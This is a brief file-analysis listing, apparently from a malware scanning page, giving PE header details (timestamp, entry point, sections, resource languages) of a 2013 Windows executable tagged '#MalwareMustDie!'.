Description Monatsverdiensten5
Comments IO MI RICORDO
PE header basic information
Target machine Intel 386 or later processors and compatible processors
Compilation timestamp 2013-11-07 17:49:34
Link date 6:49 PM 11/7/2013
Entry Point 0x00001214
Number of sections 3
PE resources by language
NEUTRAL 3
BULGARIAN DEFAULT 1
#MalwareMustDie!
Comments